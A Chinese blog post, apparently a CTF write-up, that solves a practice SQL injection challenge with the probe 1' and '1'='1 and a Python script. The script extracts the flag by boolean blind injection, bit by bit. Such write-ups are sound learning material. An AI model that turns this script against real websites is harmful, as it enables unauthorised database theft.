前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >6.简单sql注入之3

6.简单sql注入之3

作者头像
py3study
发布2020-01-09 11:44:59
3200
发布2020-01-09 11:44:59
举报
文章被收录于专栏:python3python3

进去输入1观察发现:

wKioL1lovzLgSL2-AABHlqiHUio047.png-wh_50
wKioL1lovzLgSL2-AABHlqiHUio047.png-wh_50

    2,3都只有一个结果Hello!,我们输入4观察一下

    发现空白,于是输入sql注入语句:1' and '1'='1

wKiom1lov8qw4mAOAABJGHwEveo306.png-wh_50
wKiom1lov8qw4mAOAABJGHwEveo306.png-wh_50

    没有报错,也有显示Hello!于是判断出,该题目没有过滤,只能用基于Hello!回显的sql注入

    猜测数据库,数据表,字段这些我就不浪费时间写了,有想要了解的道友,可以自行百度,或留言交流,我这里直接写爆破flag表flag字段的代码就好了

代码如下:

代码语言:javascript
复制
#!/usr/bin/python
#coding=utf-8
#Author = One

import requests

def main():
    n = 0
    binary = ""
    flag = ""
    for i in range(1,1000):
        for j in range(8):
            url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and 1=if((ascii(substring((select flag from flag),"+str(i)+",1))%26"+str(2**j)+")="+str(2**j)+",1,0) %23"
            request = requests.get(url)
            if(request.text.find('Hello!') != -1):
                binary = '1'+binary
                n = 0
            else:
                binary = '0'+binary
                n += 1
        print chr(int(binary,2)),
        flag += chr(int(binary,2))
        binary = ""
        if(n >= 8):
            print "\n"+flag
            break
        
if __name__ == '__main__':
    main()
#上述代码使用的是按位与方法,比普通循环遍历所有可能字符要快,比较8次必得一个字符结果

即可爆破出结果:

wKioL1lo0NuyMn-cAAANYKFAzK0484.png-wh_50
wKioL1lo0NuyMn-cAAANYKFAzK0484.png-wh_50

本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-09-02 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档